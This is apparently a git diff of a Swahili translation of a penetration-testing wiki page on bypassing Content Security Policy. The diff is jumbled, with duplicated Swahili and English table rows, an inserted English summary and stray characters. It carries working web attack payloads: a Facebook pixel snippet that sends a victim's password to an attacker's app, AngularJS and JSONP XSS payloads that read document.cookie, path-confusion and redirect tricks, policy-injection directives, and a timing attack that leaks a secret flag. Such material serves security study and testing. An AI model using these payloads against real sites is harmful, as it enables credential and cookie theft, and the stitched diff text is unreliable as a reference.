Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwezekano wa vikoa vya tatu, ambavyo vinaweza kuruhusiwa mahali fulani katika CSP, vinaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya vikoa hivi vya tatu ni:
|
||||
|
||||
| Entiti | Uwanja Ulioruhusiwa | Uwezo |
|
||||
| Kikundi | Kikoa Kilichoruhusiwa | Uwezo |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Kuchukua |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Kuchukua |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Kutekeleza |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Kuchukua, Kutekeleza |
|
||||
| Amazon AWS | \*.amazonaws.com | Kuchukua, Kutekeleza |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Kuchukua, Kutekeleza |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Kuchukua, Kutekeleza |
|
||||
| Google Firebase | \*.firebaseapp.com | Kuchukua, Kutekeleza |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Ikiwa unapata uwanja wowote ulioruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, au kuchukua data kwenda kwenye huduma hiyo au kutekeleza nambari.
|
||||
Ikiwa unapata moja ya vikoa vilivyoidhinishwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, ama kuchukua data kwenye huduma hiyo au kutekeleza nambari.
|
||||
|
||||
Kwa mfano, ikiwa unapata CSP ifuatayo:
|
||||
```
|
||||
|
@ -323,61 +337,57 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
#### Introduction
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or weak policies can sometimes allow attackers to bypass CSP protections.
|
||||
|
||||
#### Bypassing CSP using `unsafe-inline`
|
||||
#### Bypass Techniques
|
||||
|
||||
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which can be exploited by an attacker to execute malicious code.
|
||||
1. **Unsafe Inline Scripts**: Attackers can bypass CSP by executing malicious code using inline scripts.
|
||||
|
||||
#### Bypassing CSP using data: URIs
|
||||
2. **Unsafe Eval**: Using the `eval()` function to execute code can also bypass CSP protections.
|
||||
|
||||
Another technique to bypass CSP is by using data: URIs to embed external resources within the HTML document. By encoding the resource in Base64 and including it in a data URI, an attacker can bypass CSP restrictions on loading external resources.
|
||||
3. **Data Injection**: Attackers can inject data into a website to bypass CSP protections and execute malicious code.
|
||||
|
||||
#### Bypassing CSP using `nonce` attribute
|
||||
#### Mitigation
|
||||
|
||||
CSP allows the use of a `nonce` attribute to whitelist specific inline scripts or styles. By generating a valid nonce value and including it in the CSP header and the corresponding script or style tag, an attacker can bypass CSP restrictions on inline scripts and styles.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
While Content Security Policy is an effective security measure, it is important to be aware of potential bypass techniques that attackers may use to circumvent CSP protections. Regularly reviewing and updating CSP configurations can help mitigate the risk of CSP bypass vulnerabilities.
|
||||
To prevent CSP bypasses, ensure that your CSP policy is correctly configured and restricts the use of unsafe practices such as inline scripts and `eval()`. Regularly review and update your CSP policy to adapt to new threats and best practices.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Unapaswa kuweza kuchukua data, kama ilivyokuwa daima imefanywa na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi kuu:
|
||||
Unapaswa kuweza kuchukua data, kama ilivyokuwa kawaida kufanywa na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass). Katika kesi hii, unafuata hatua hizi kuu:
|
||||
|
||||
1. Unda akaunti ya Facebook Developer hapa.
|
||||
2. Unda programu mpya ya "Facebook Login" na chagua "Tovuti".
|
||||
3. Nenda kwa "Mipangilio -> Msingi" na pata "Kitambulisho cha Programu yako (App ID)".
|
||||
4. Kwenye tovuti lengwa unayotaka kuchukua data kutoka, unaweza kuchukua data moja kwa moja kwa kutumia kifaa cha Facebook SDK "fbq" kupitia "tukio la desturi" na mzigo wa data.
|
||||
5. Nenda kwa "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
5. Nenda kwenye "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Chagua kichupo "Matukio ya Majaribio" kuona matukio yanayotumwa na tovuti "yako".
|
||||
|
||||
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo ili kuanzisha pikseli ya ufuatiliaji wa Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa programu wa mshambuliaji na kutoa tukio la desturi kama hili:
|
||||
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo kuanzisha pikseli ya ufuatiliaji wa Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa programu wa mshambuliaji na kutuma tukio la desturi kama hili:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Kuhusu uwanja mwingine saba wa tatu uliotajwa katika jedwali lililopita, kuna njia nyingine nyingi unazoweza kuzitumia vibaya. Tazama [chapisho la blogi](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) hapo awali kwa maelezo zaidi kuhusu matumizi mabaya ya tatu.
|
||||
### Kuhusu uwanja mwingine saba wa tatu uliotajwa katika jedwali lililopita, kuna njia nyingine nyingi unazoweza kuzitumia vibaya. Tazama [chapisho la blogi](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) hapo awali kwa maelezo zaidi kuhusu matumizi mabaya ya tatu.
|
||||
|
||||
### Kupitia RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Mbali na mwelekeo uliotajwa hapo juu wa kuzidisha vikwazo vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye baadhi ya seva.
|
||||
Mbali na mwelekeo uliotajwa hapo juu wa kukiuka vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye seva fulani.
|
||||
|
||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kuzidishwa kama ifuatavyo:
|
||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kukiukwa kama ifuatavyo:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
Kivinjari itamaliza mwishowe kupakia `https://example.com/scripts/angular/angular.js`.
|
||||
Kivinjari itaingiza hatimaye `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inazingatia CSP.
|
||||
Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
|
||||
|
||||
∑, wataitafsiri, wakiomba kwa ufanisi `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
|
||||
Kwa hivyo, wataidecode, wakiiomba kwa ufanisi `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Kwa **kutumia hitilafu hii katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kudukuliwa**.
|
||||
|
||||
Suluhisho ni kutotafsiri `%2f` kama `/` upande wa seva, kuhakikisha tafsiri thabiti kati ya kivinjari na seva ili kuepuka shida hii.
|
||||
Suluhisho ni kutotambua `%2f` kama `/` upande wa seva, kuhakikisha tafsiri thabiti kati ya kivinjari na seva ili kuepuka shida hii.
|
||||
|
||||
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
@ -389,7 +399,7 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
|
|||
|
||||
### **base-uri** iliyopotea
|
||||
|
||||
Ikiwa mwelekeo wa **base-uri** hauko, unaweza kutumia kuidhuru kufanya [**kuingiza alama zilizopotea**](../dangling-markup-html-scriptless-injection/).
|
||||
Ikiwa mwelekeo wa **base-uri** haujapatikana unaweza kutumia kuidhuru kufanya [**injini ya alama inayotungwa**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Zaidi, ikiwa **ukurasa unapakia script kwa kutumia njia ya kihusishi** (kama `<script src="/js/app.js">`) ukitumia **Nonce**, unaweza kutumia **tag ya msingi** kufanya iweze **kupakia** script kutoka **kwenye seva yako mwenyewe kufikia XSS.**\
|
||||
Ikiwa ukurasa unaopatikana ni wa **httpS**, tumia url ya httpS kwenye msingi.
|
||||
|
@ -398,14 +408,14 @@ Ikiwa ukurasa unaopatikana ni wa **httpS**, tumia url ya httpS kwenye msingi.
|
|||
```
|
||||
### Matukio ya AngularJS
|
||||
|
||||
Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu cha pekee `$event`, kirejelea kitu cha tukio la kivinjari asilia. Kitu hiki cha `$event` kinaweza kutumika kukiuka CSP. Hasa, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia safu ya vitu iliyohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha `window` kawaida kikiwa kwenye mwisho. Muundo huu ni muhimu kwa mikakati ya kutoroka kwenye sanduku.
|
||||
Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu cha pekee `$event`, kirejelea kitu cha tukio la kivinjari asilia. Kitu hiki cha `$event` kinaweza kutumika kukiuka CSP. Hasa, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia safu ya vitu iliyohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha `window` kawaida kikiwa kwenye mwisho. Muundo huu ni muhimu kwa mikakati ya kutoroka kwenye sanduku la mchanga.
|
||||
|
||||
Kwa kuongoza safu hii kwa kichujio cha `orderBy`, inawezekana kuipitia, kutumia kipengee cha mwisho (kitu cha `window`) kuzindua kazi ya ulimwengu kama vile `alert()`. Msimbo uliodhihirishwa hapa chini unaelezea mchakato huu:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Snippet hii inaonyesha matumizi ya agizo la `ng-focus` kuzindua tukio, ikichukua `$event.path|orderBy` kubadilisha safu ya `path`, na kutumia kitu cha `window` kutekeleza kazi ya `alert()`, hivyo kufunua `document.cookie`.
|
||||
Hii sehemu inaonyesha matumizi ya agizo la `ng-focus` kuzindua tukio, kutumia `$event.path|orderBy` kubadilisha safu ya `path`, na kutumia kitu cha `window` kutekeleza kazi ya `alert()`, hivyo kufunua `document.cookie`.
|
||||
|
||||
**Pata njia zingine za kuzidisha Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
@ -415,9 +425,9 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none
|
|||
```
|
||||
### Mbinu za Kupitisha Sera ya Usalama wa Yaliyomo (CSP)
|
||||
|
||||
Sera ya CSP ambayo inaweka orodha nyeupe ya vikoa kwa kupakia skripti katika programu ya Angular JS inaweza kupitishwa kupitia wito wa kazi za kurudi na baadhi ya mbinu zenye mapungufu. Taarifa zaidi kuhusu mbinu hii inapatikana kwenye mwongozo kamili uliopo kwenye [hifadhi ya git hii](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
Sera ya CSP inayoorodhesha vikoa kwa ajili ya kupakia script katika programu ya Angular JS inaweza kupitishwa kupitia wito wa kazi za kurejeshwa na baadhi ya mafunzo yanayoweza kudhurika. Maelezo zaidi kuhusu mbinu hii yanaweza kupatikana katika mwongozo kamili uliopo kwenye [hifadhi ya git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Mizigo inayofanya kazi:
|
||||
Mizigo ya Kazi:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -425,7 +435,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Other JSONP arbitrary execution endpoints can be found in [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao ilifutwa au kusahihishwa)
|
||||
Endpoints zingine za utekelezaji wa JSONP zisizo na kikomo zinaweza kupatikana [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao zilifutwa au zimefanyiwa marekebisho)
|
||||
|
||||
### Kupitisha kupitia Uelekezaji
|
||||
|
||||
|
@ -449,17 +459,17 @@ Hapa kuna mfano:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
If CSP is set to `https://www.google.com/a/b/c/d`, tangu njia ichukuliwe kwa uzito, scripts zote za `/test` na `/a/test` zitazuiliwa na CSP.
|
||||
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inazingatiwa, hati zote `/test` na `/a/test` zitazuiliwa na CSP.
|
||||
|
||||
Hata hivyo, `http://localhost:5555/301` ya mwisho itakuwa **inayoelekezwa upya kwenye upande wa seva kwenda `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni upyaishaji, **njia haizingatiwi**, na **script inaweza kupakia**, hivyo kupitisha kizuizi cha njia.
|
||||
Walakini, `http://localhost:5555/301` ya mwisho itakuwa **imeelekezwa upya kwenye upande wa seva kwenda `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni upyaishaji, **njia haizingatiwi**, na **hati inaweza kupakia**, hivyo kukiuka kizuizi cha njia.
|
||||
|
||||
Kwa upyaishaji huu, hata kama njia imeelezwa kikamilifu, bado itapitishwa.
|
||||
Kwa upyaishaji huu, hata ikiwa njia imeelezwa kabisa, bado itapuuzwa.
|
||||
|
||||
Hivyo, suluhisho bora ni kuhakikisha kuwa tovuti haina udhaifu wowote wa kupeleka upya wazi na kwamba hakuna uwanja wowote ambao unaweza kutumiwa katika sheria za CSP.
|
||||
Kwa hivyo, suluhisho bora ni kuhakikisha kuwa tovuti haina udhaifu wowote wa upyaishaji wazi na kwamba hakuna uwanja ambao unaweza kutumiwa katika sheria za CSP.
|
||||
|
||||
### Pitisha CSP na alama za kuteleza
|
||||
### Kupuuza CSP na alama ya kutundikwa
|
||||
|
||||
Soma [hapa](../dangling-markup-html-scriptless-injection/) jinsi ya kufanya hivyo.
|
||||
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; kupitia XSS
|
||||
```
|
||||
|
@ -473,11 +483,11 @@ Unaweza kukiuka CSP hii kwa kuchukua data kupitia picha (katika kesi hii XSS ina
|
|||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Ungekuwa unaweza kutumia mazingira haya vibaya kwa **kupakia kificho cha javascript kilichowekwa ndani ya picha**. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Unge **unda** picha **maalum**, **ipakie** kwenye Twitter na kutumia "**unsafe-inline**" kutekeleza kificho cha JS (kama XSS ya kawaida) ambayo ita **pakia** picha, **chambua** JS kutoka kwake na **kutekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Ungekuwa unaweza pia kutumia usanidi huu kwa **kupakia kificho cha javascript kilichowekwa ndani ya picha**. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Ungekuwa **unda** picha **maalum**, **ipakie** kwenye Twitter na kutumia "**unsafe-inline**" kutekeleza kificho cha JS (kama XSS ya kawaida) ambayo ita **pakia** picha, **chimbua** JS kutoka kwake na **kutekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Kwa Wafanyikazi wa Huduma
|
||||
|
||||
Kazi za wafanyikazi wa huduma **`importScripts`** hazina kikomo na CSP:
|
||||
Kazi ya **`importScripts`** ya wafanyikazi wa huduma haijazuiliwa na CSP:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -489,7 +499,7 @@ Kazi za wafanyikazi wa huduma **`importScripts`** hazina kikomo na CSP:
|
|||
|
||||
#### Chrome
|
||||
|
||||
Ikiwa **parameta** iliyotumwa na wewe inawekwa **ndani** ya **tamko** la **sera**, basi unaweza **badilisha** sera kwa njia fulani ambayo inafanya **isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** na mojawapo ya njia hizi za kuvuka:
|
||||
Ikiwa **parameta** iliyotumwa na wewe inawekwa **ndani** ya **tamko** la **sera,** basi unaweza **badilisha** sera kwa njia fulani ambayo inafanya **isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** na moja ya njia hizi za kuvuka:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
|
@ -505,7 +515,7 @@ Mfano: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%
|
|||
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
|
||||
|
||||
Tambua ukosefu wa agizo `'unsafe-inline'`\
|
||||
Wakati huu unaweza kufanya muathiriwa **apakie** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu utafanya muathiriwa kupata ukurasa kutoka mahali unapotaka kutoa habari (**CSRF**). Huwezi kupata maudhui ya ukurasa, lakini kama kwa namna fulani unaweza **kudhibiti muda ambao ukurasa unahitaji kupakia** unaweza kutoa habari unayohitaji.
|
||||
Wakati huu unaweza kufanya muhanga **apakie** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu utafanya muhanga kupata ukurasa kutoka mahali unapotaka kutoa habari (**CSRF**). Huwezi kupata maudhui ya ukurasa, lakini kama kwa njia fulani unaweza **kudhibiti muda ambao ukurasa unahitaji kupakia** unaweza kutoa habari unayohitaji.
|
||||
|
||||
Wakati huu **bendera** itaondolewa, kila wakati **herufi inatabiriwa kwa usahihi** kupitia SQLi majibu yanachukua **muda zaidi** kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
|
||||
```html
|
||||
|
@ -569,13 +579,13 @@ run();
|
|||
```
|
||||
### Kupitia Bookmarklets
|
||||
|
||||
Shambulizi hili lingehusisha uhandisi wa kijamii ambapo mkaidi **anamshawishi mtumiaji kuhamisha na kuachia kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **msimbo wa javascript wenye nia mbaya** ambao unapohamishwa na kuachiliwa au bonyezwa ungeendeshwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba habari nyeti** kama vile vidakuzi au vitambulisho.
|
||||
Shambulizi hili lingehusisha uhandisi wa kijamii ambapo mkaidi **anamshawishi mtumiaji kuhamisha na kudondosha kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **msimbo wa javascript wenye nia mbaya** ambao unapohamishwa na kudondoshwa au bonyezwa ungeendeshwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au vielelezo.
|
||||
|
||||
Kwa habari zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Kupuuza CSP kwa kuzuia CSP
|
||||
### Kupitisha CSP kwa kuzuia CSP
|
||||
|
||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapuuzwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **dom clobbering** iliruhusu **kutumia skripti tofauti kupakia skripti ya kupindukia**.
|
||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapitishwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **dom clobbering** iliruhusu **kutumia skripti tofauti kupakia skripti ya aina yoyote**.
|
||||
|
||||
Unaweza **kuzuia CSP ya Iframe** kwa kutumia sifa ya **`csp`**:
|
||||
|
||||
|
@ -585,17 +595,17 @@ Unaweza **kuzuia CSP ya Iframe** kwa kutumia sifa ya **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Katika [**hii CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ilikuwa inawezekana kupitia **HTML injection** kurekebisha zaidi **CSP** ili script inayozuia CSTI ifungwe na hivyo **kuwezesha kutumia udhaifu.**\
|
||||
CSP inaweza kuwa ngumu zaidi kutumia **HTML meta tags** na inline scripts zinaweza kufungwa **kuondoa** **ingizo** kuruhusu **nonce** yao na **kuruhusu inline script maalum kupitia sha**:
|
||||
Katika [**hii CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ilikuwa inawezekana kupitia **HTML injection** kwa **kizuia** zaidi **CSP** ili script inayozuia CSTI ifunguliwe na hivyo **kuwa na uwezo wa kutumika vibaya.**\
|
||||
CSP inaweza kuwa ngumu zaidi kutumia **HTML meta tags** na inline scripts zinaweza kuzimwa **kwa kuondoa** **ingizo** kuruhusu **nonce** yao na **kuruhusu script maalum ya inline kupitia sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### Uchimbaji wa JS na Mipango ya Usalama wa Yaliyomo (CSP) ya Ripoti-Pekee
|
||||
### Uchunguzi wa JS na Kizuizi cha Usalama wa Yaliyomo (CSP) kilichoruhusiwa Ripoti tu
|
||||
|
||||
Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa cha **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunika** **maudhui ya JS** unayotaka kuchimba na **`<script>`** na kwa sababu kubwa ya uwezekano `unsafe-inline` haiiruhusiwi na CSP, hii italeta **kosa la CSP** na sehemu ya skripti (yenye habari nyeti) itatumwa kwa seva kutoka kwa `Content-Security-Policy-Report-Only`.
|
||||
Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunga** **maudhui ya JS** unayotaka kuchukua na **`<script>`** na kwa sababu ni uwezekano mkubwa `unsafe-inline` haijiruhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya skripti (yenye habari nyeti) itatumwa kwa seva kutoka kwa `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -611,43 +621,43 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
Ni muhimu kufahamu kuwa vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha kuvuja kwa taarifa nyeti kutokana na tabia isiyojulikana.
|
||||
|
||||
Mbinu nyingine inahusisha kutumia CSP yenyewe kudhanua subdomain ya siri. Mbinu hii inategemea algorithm ya utafutaji wa binary na kurekebisha CSP kuingiza vikoa maalum ambavyo vimezuiliwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri inajumuisha herufi zisizojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha maelekezo ya CSP kuzuia au kuruhusu subdomains hizi. Hapa kuna sehemu inayoonyesha jinsi CSP inavyoweza kuwekwa ili kurahisisha mbinu hii:
|
||||
Mbinu nyingine inahusisha kutumia CSP yenyewe kudadisi subdomain ya siri. Mbinu hii inategemea algorithm ya utafutaji wa binary na kurekebisha CSP kuingiza vikoa maalum ambavyo vimezuiliwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri inajumuisha herufi zisizojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha maelekezo ya CSP kuzuia au kuruhusu subdomains hizi. Hapa kuna sehemu inayoonyesha jinsi CSP inavyoweza kuwekwa ili kurahisisha mbinu hii:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Kwa kufuatilia ni maombi gani yanazuiliwa au kuruhusiwa na CSP, mtu anaweza kupunguza herufi zinazowezekana kwenye subdomain ya siri, hatimaye kufunua URL kamili.
|
||||
Kwa kufuatilia ni maombi gani yanazuiliwa au kuruhusiwa na CSP, mtu anaweza kupunguza idadi ya herufi zinazowezekana kwenye subdomain ya siri, hatimaye kufunua URL kamili.
|
||||
|
||||
Zote njia zinatumia udhaifu wa utekelezaji wa CSP na tabia katika vivinjari, ikionyesha jinsi sera za usalama zinaweza kwa bahati mbaya kufichua taarifa nyeti.
|
||||
Zote njia zinatumia udhaifu wa utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zenye usalama zinaweza kwa bahati mbaya kufichua taarifa nyeti.
|
||||
|
||||
Mbinu kutoka [**hapa**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
